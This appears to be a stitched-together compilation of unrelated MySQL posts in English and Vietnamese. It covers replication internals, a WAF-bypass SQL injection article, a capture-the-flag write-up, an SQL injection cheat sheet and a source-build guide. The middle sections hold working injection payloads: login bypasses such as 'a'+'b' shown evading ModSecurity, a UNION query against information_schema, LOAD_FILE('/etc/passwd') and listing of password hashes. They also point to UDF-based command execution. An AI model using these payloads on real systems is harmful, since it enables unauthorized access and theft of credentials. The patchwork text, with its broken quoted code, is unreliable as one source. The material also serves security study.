How does MySQL Replication really work?

While we do have many blog posts on replication on our blog, such as on replication being single-threaded, on semi-synchronous replication or on estimating replication capacity, I don’t think we have one that covers the very basics of how MySQL replication really works on the high level. Or it’s been so long ago I can’t even find it. So, I decided to write one now.
Of course, there are many aspects of MySQL replication, but my main focus will be the logistics – how replication events are written on the master, how they are transferred to the replication slave and then how they are applied there. Note that this is NOT a HOWTO setup replication, but rather a howstuffworks type of thing.

Replication events
I say replication events in this article because I want to avoid discussion about different replication formats. These are covered pretty well in the MySQL manual here. Put simply, the events can be one of two types:

  • Statement based – in which case these are write queries
  • Row based – in this case these are changes to records, sort of row diffs if you will

But other than that, I won’t be going back to differences in replication with different replication formats, mostly because there’s very little that’s different when it comes to transporting the data changes.

On the master
So now let me start with what is happening on the master. For replication to work, first of all master needs to be writing replication events to a special log called binary log. This is usually very lightweight activity (assuming events are not synchronized to disk), because writes are buffered and because they are sequential. The binary log file stores data that replication slave will be reading later.
Whenever a replication slave connects to a master, master creates a new thread for the connection (similar to one that’s used for just about any other server client) and then it does whatever the client – replication slave in this case – asks. Most of that is going to be (a) feeding replication slave with events from the binary log and (b) notifying slave about newly written events to its binary log.
Slaves that are up to date will mostly be reading events that are still cached in OS cache on the master, so there is not going to be any physical disk reads on the master in order to feed binary log events to slave(s). However, when you connect a replication slave that is few hours or even days behind, it will initially start reading binary logs that were written hours or days ago – master may no longer have these cached, so disk reads will occur. If master does not have free IO resources, you may feel a bump at that point.

On the replica
Now let’s see what is happening on the slave. When you start replication, two threads are started on the slave:
1. IO thread
This process called IO thread connects to a master, reads binary log events from the master as they come in and just copies them over to a local log file called relay log. That’s all.
Even though there’s only one thread reading binary log from the master and one writing relay log on the slave, very rarely copying of replication events is a slower element of the replication. There could be a network delay, causing a steady delay of few hundred milliseconds, but that’s about it.

If you want to see where IO thread currently is, check the following in “show slave status\G”:

  • Master_Log_File – last file copied from the master (most of the time it would be the same as last binary log written by a master)
  • Read_Master_Log_Pos – binary log from master is copied over to the relay log on the slave up until this position.

And then you can compare it to the output of “show master status\G” from the master.
2. SQL thread
The second process – SQL thread – reads events from a relay log stored locally on the replication slave (the file that was written by IO thread) and then applies them as fast as possible.
This thread is what people often blame for being single-threaded. Going back to “show slave status\G”, you can get the current status of SQL thread from the following variables:

  • Relay_Master_Log_File – binary log from master, that SQL thread is “working on” (in reality it is working on relay log, so it’s just a convenient way to display information)
  • Exec_Master_Log_Pos – which position from master binary log is being executed by SQL thread.

Replication lag
Now I want to briefly touch the subject of replication lag in this context. When you are dealing with replication lag, first thing you want to know is which of the two replication threads is behind. Most of the time it will be the SQL thread, still it makes sense to double check. You can do that by comparing the replication status variables mentioned above to the master binary log status from the output of “show master status\G” from the master.
If it happens to be IO thread, which, as I mentioned many times already, is very rare, one thing you may want to try to get that fixed is enabling slave compressed protocol.
Otherwise, if you are sure it is SQL thread, then you want to understand what is the reason and that you can usually observe by vmstat. Monitor server activity over time and see if it is “r” or “b” column that is “scoring” most of the time. If it is “r”, replication is CPU-bound, otherwise – IO. If it is not conclusive, mpstat will give you better visibility by CPU thread.
Note this assumes that there is no other activity happening on the server. If there is some activity, then you may also want to look at diskstats or even do a query review for SQL thread to get a good picture.
If you find that replication is CPU bound, this maybe very helpful.
If it is IO bound, then fixing it may not be as easy (or rather, as cheap). Let me explain. If replication is IO bound, most of the time that means that SQL thread is unable to read fast enough because reads are single threaded. Yes, you got that right – it is reads that are limiting replication performance, not writes. Let me explain this further.
Assume you have a RAID10 with a bunch of disks and write-back cache. Writes, even though they are serialized, will be fast because they are buffered in the controller cache and because internally RAID card can parallelize writes to disks. Hence replication slave with similar hardware can write just as fast as master can.
Now Reads. When your workset does not fit in memory, then the data that is about to get modified is going to have to be read from disk first and this is where it is limited by the single-threaded nature of the replication, because one thread will only ever read from one disk at a time.
That being said, one solution to fix IO-bound replication is to increase the amount of memory so working set fits in memory. Another – get IO device that can do much more IO operations per second even with a single thread – fastest traditional disks can do up to 250 iops, SSDs – in the order of 10,000 iops.



Implicit type conversion in MySQL

A new approach to bypassing WAFs

In some languages, using arithmetic operators on elements that aren’t numeric, give some weird results. In JavaScript for example, [ ] + { } is an Object, while { } + [ ] appears to be NaN.

If these kind of obscure actions occur in a parser that is counted on to be very reliable, things can go bad real quickly. Let’s look at how MySQL behaves…

Trying to add two integers in MySQL will result in an integer of the sum of the given integers. Simple and straightforward, as you can see below.

mysql> SELECT 1+1;
| 1+1 |
| 2 |
1 row in set (0.00 sec)
MySQL Type Conversion

Nothing special there. But what would happen if we’d try to add a string and an integer…

mysql> SELECT ‘foo’+1;
| ‘foo’+1 |
| 1 |
1 row in set, 1 warning (0.00 sec)
| Level | Code | Message |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘foo’ |
1 row in set (0.00 sec)
A bit more interesting, adding 1 to ‘foo’ returns 1. What happens here, is that ‘foo’ is converted to a DOUBLE. But since it clearly is non-numeric, it will be converted to 0 (and generate the above warning). Still nothing new here…

The reference manual of MySQL says:

When an operator is used with operands of different types, type conversion occurs to make the operands compatible.

So what happens when we try to add two strings? These are of the same type, so shouldn’t need to be converted, right?

mysql> SELECT ‘a’+’b’;
| ‘a’+’b’ |
| 0 |
1 row in set, 2 warnings (0.00 sec)
| Level | Code | Message |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘b’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘a’ |
2 rows in set (0.00 sec)
Guess not… So something else is going on here, it appears that + is an arithmetic operator. That might explain why both strings are converted to numeric values.

So we know that the sum of two strings results in a numeric value, namely 0. You can verify this by running the query SELECT ‘a’ + ‘b’ = 0, which will result in 1 (which is the same as TRUE). Now, what would happen if we compared the sum of two strings with another string. Let’s see…

mysql> SELECT ‘a’+’b’=’c’;
| ‘a’+’b’=’c’ |
| 1 |
1 row in set, 3 warnings (0.00 sec)

| Level | Code | Message |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘b’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘a’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘c’ |
3 rows in set (0.00 sec)
It appears that the string you compare the sum of two strings with, is converted to a numeric value (again 0). This is a kind of behaviour that might come as unexpected. It is documented somewhat unclearly in the MySQL Reference Manual as the last rule of how conversion occurs.

In all other cases, the arguments are compared as floating-point (real) numbers.

Now, this article is about bypassing Web Application Firewalls, so let’s move on to that.

Bypassings WAFs

Say you have a login-system which is vulnerable to SQL-injection. Since you have no clue how to fix this, you have put a WAF in front of your application. The login-system is likely to contain a query such as SELECT * FROM users WHERE username = ‘$_POST[“username”]’ AND password = ‘$_POST[“password”]’.

A straighforward SQL-injection attack would be to enter a’ OR 1=’1 as the username and pick a random value for the password-field. This would result in the query SELECT * FROM users WHERE username = ‘a’ OR 1=’1′ AND password = ‘foobar’. This will most likely log the attacker in as the first user in the users-table. But since you are using a WAF, you should be safe from this kind of attack.

If the attacker were a bit smarter, and use the information discussed above, he might enter a’+’b as username and the same for the password-field. This results in the following query being executed: SELECT * FROM users WHERE username = ‘a’+’b’ AND password = ‘a’+’b’. As we’ve seen above, ‘a’+’b’ will be converted to a numeric value, and so will username and password.

This means that the attacker will be logged in as the first user whose username and password doesn’t start with a numeric value. If the superadmin’s username would be 666admin, the attacker could still enter ‘a’+’666 as a username (which will be converted to the same value as 666admin will be converted to, namely 666).

I have stated that WAF’s can be bypassed using this technique, but actually WAF’s should be read as “ModSecurity and probably others as well”. You can test the a’+’b attack on one of ModSecurity’s demonstration projects. Entering ‘ OR 1=’1 as username and password will return the following error:

ModSecurity Alert Message:

Inbound Alert: 981242-Detects classic SQL injection probings 1/2

Outbound Alert: 981242-Detects classic SQL injection probings 1/2

Entering a’+’b as username and password will log you in, but no alerts or warnings are given by ModSecurity.

Until now, I have only talked about the + operator, but MySQL offers quite some other operators that will have the same effect. The MySQL 5.5 Reference Manual lists following operators as arithmetic operators: DIV, /, -, %, MOD, + and *. This makes a’MOD’1 an attack vector as well, which seems very hard for a WAF to detect as a possible SQL-Injection attack.

Until now, I have only talked about arithmetic operators. MySQL offers quite some other functions as well, for example bit functions. The functions that are usable in this case are &, |, ^, << and >>.

Until now, I have only talked about operators that make the right-hand side of the assignment evaluate first. This is because their operator precedence is higher than that of = (comparison). With the operators and functions whose precedence is equal or lower than that of =, ModSecurity does seem to detect an SQL attack. (The ‘ OR 1=’1 attack vector falls under this part.)

The moral of this blog post is that you should not depend on a WAF to protect your web application. A WAF adds another layer of defense, but as you’ve seen here, it’s not all that difficult to bypass.


As an example I’ve created following table, and populated it with 2 users.

CREATE TABLE `users` (
`userid` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(45) NOT NULL,
`password` varchar(45) NOT NULL,
PRIMARY KEY (`userid`)

INSERT INTO `users` (`username`, `password`) VALUES (‘admin’, ‘MySuperS3cretPass!’);
INSERT INTO `users` (`username`, `password`) VALUES (‘666admin’, ‘nataSmaI’);
Here are the results of some attack vectors.

mysql> SELECT * FROM users WHERE username = ‘a’+’b’ AND password = ‘a’+’b’;
| userid | username | password |
| 1 | admin | MySuperS3cretPass! |
1 row in set, 7 warnings (0.00 sec)

| Level | Code | Message |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘admin’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘b’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘a’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘MySuperS3cretPass!’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘b’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘a’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘666admin’ |
7 rows in set (0.00 sec)
mysql> SELECT * FROM users WHERE username = ‘a’+’666’ AND password = ‘a’+’b’;
| userid | username | password |
| 2 | 666admin | nataSmaI |
1 row in set, 6 warnings (0.00 sec)
mysql> SELECT * FROM users WHERE username = ‘a’MOD’1’ AND password = ‘a’MOD’1’;
| userid | username | password |
| 1 | admin | MySuperS3cretPass! |
1 row in set, 5 warnings (0.00 sec)
In the following example, ‘a’ and ‘b’ are converted to the INTEGER 0, because & is a bit function.

mysql> SELECT * FROM users WHERE username = ‘a’&’b’ AND password = ‘a’&’b’;
| userid | username | password |
| 1 | admin | MySuperS3cretPass! |
1 row in set, 7 warnings (0.00 sec)

Table Name II

Source code:

$secret = require('secret.php');
define('GWF_PAGE_TITLE', 'Table Names II');
if (false === ($chall = WC_Challenge::getByTitle(GWF_PAGE_TITLE)))
        $chall = WC_Challenge::dummyChallenge(GWF_PAGE_TITLE, 6, 'challenge/nurfed/more_table_names/index.php', $secret['flag']);}
if (false !== Common::getGet('login')){
        $username = Common::getGetString('username', '');
        $password = Common::getGetString('password', '');
        if (preg_match('/statistics|tables|columns|table_constraints|key_column_usage|partitions|schema_privileges|schemata|database|schema\(\)/i', $username.$password))        {
                echo GWF_HTML::error(GWF_PAGE_TITLE, $chall->lang('on_match'));
        {                if (false === ($db = gdo_db_instance($secret['host'], $secret['username'], $secret['password'], $secret['database'])))
                        die('Database error.');
                                $query = "SELECT * FROM {$secret['database']}.{$secret['table_name']} WHERE username='$username' AND password='$password'";
                if (false === ($result = ($db->queryFirst($query, false))))
                        echo GWF_HTML::error(GWF_PAGE_TITLE, $chall->lang('on_login_fail'));
                }                else
                        echo GWF_HTML::message(GWF_PAGE_TITLE, $chall->lang('on_logged_in', array(GWF_HTML::display($result['username']), GWF_HTML::display($result['message']))));
<div class="box box_c">
<form action="challenge.php" method="get"><div><?php echo $chall->lang('username'); ?>: <input type="text" name="username" value="" /></div>
<div><?php echo $chall->lang('password'); ?>: <input type="text" name="password" value="" /></div>
<div><input type="submit" name="login" value="<?php echo $chall->lang('login'); ?>" /></div>
echo $chall->copyrightFooter();

Do đã lọc hầu hết các từ khóa nên ta dùng payload:

' union select 1,2,info from information_schema.processlist-- -

Kết quả:

Welcome back 1

Your personal welcome message is: SELECT * FROM nurfedtables37.userbobbytable7 WHERE username='' union select 1,2,info from information_schema.processlist -- -' AND password=''

This ensures you are not on a fake evil phising site.

Submit: nurfedtables37_userbobbytable7

MySQL SQL Injection Cheat Sheet

Some useful syntax reminders for SQL Injection into MySQL databases…


This post is part of a series of SQL Injection Cheat Sheets.  In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend.  This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.

The complete list of SQL Injection Cheat Sheets I’m working is:

I’m not planning to write one for MS Access, but there’s a great MS Access Cheat Sheet here.

Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end of the query.

Version SELECT @@version
Comments SELECT 1; #comment
SELECT /*comment*/1;
Current User SELECT user();
SELECT system_user();
List Users SELECT user FROM mysql.user; — priv
List Password Hashes SELECT host, user, password FROM mysql.user; — priv
Password Cracker John the Ripper will crack MySQL password hashes.
List Privileges SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privsSELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privsSELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas)SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns
List DBA Accounts SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’;SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv
Current Database SELECT database()
List Databases SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0
SELECT distinct(db) FROM mysql.db — priv
List Columns SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
List Tables SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
Find Tables From Column Name SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — find table which have a column called ‘username’
Select Nth Row SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0
Select Nth Char SELECT substr(‘abcd’, 3, 1); # returns c
Bitwise AND SELECT 6 & 2; # returns 2
SELECT 6 & 1; # returns 0
ASCII Value -> Char SELECT char(65); # returns A
Char -> ASCII Value SELECT ascii(‘A’); # returns 65
Casting SELECT cast(’1′ AS unsigned integer);
SELECT cast(’123′ AS char);
String Concatenation SELECT CONCAT(‘A’,’B’); #returns AB
SELECT CONCAT(‘A’,’B’,’C’); # returns ABC
If Statement SELECT if(1=1,’foo’,’bar’); — returns ‘foo’
Case Statement SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns A
Avoiding Quotes SELECT 0×414243; # returns ABC
Time Delay SELECT BENCHMARK(1000000,MD5(‘A’));
SELECT SLEEP(5); # >= 5.0.12
Make DNS Requests Impossible?
Command Execution If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar).  The .so file should contain a User Defined Function (UDF).  raptor_udf.c explains exactly how you go about this.  Remember to compile for the target architecture which may or may not be the same as your attack platform.
Local File Access …’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files.
SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system
Hostname, IP Address SELECT @@hostname;
Create Users CREATE USER test1 IDENTIFIED BY ‘pass1′; — priv
Delete Users DROP USER test1; — priv
Make User DBA GRANT ALL PRIVILEGES ON *.* TO test1@’%’; — priv
Location of DB files SELECT @@datadir;
Default/System Databases information_schema (>= mysql 5.0)

Install MySql from source on CentOS

Ở bài này sử dụng mysql-5.6.14.tar.gz trên CentOS 6.4 (64bit).
Các gói cần thiết để cài mysql-5.6.14:

  • cmake 2.8.12
  • gcc-c++
  • ncurses-devel
  • bison-devel

Cài hết các gói trên thì đến bước cài mysql:

# Preconfiguration setup
shell> groupadd mysql
shell> useradd -r -g mysql mysql
# Beginning of source-build specific instructions
shell> tar zxvf mysql-VERSION.tar.gz
shell> cd mysql-VERSION
shell> cmake .
shell> make
shell> make install
# End of source-build specific instructions
# Postinstallation setup
shell> cd /usr/local/mysql
shell> chown -R mysql .
shell> chgrp -R mysql .
shell> scripts/mysql_install_db --user=mysql
shell> chown -R root .
shell> chown -R mysql data
shell> bin/mysqld_safe --user=mysql &
# Next command is optional
shell> cp support-files/mysql.server /etc/init.d/mysql.server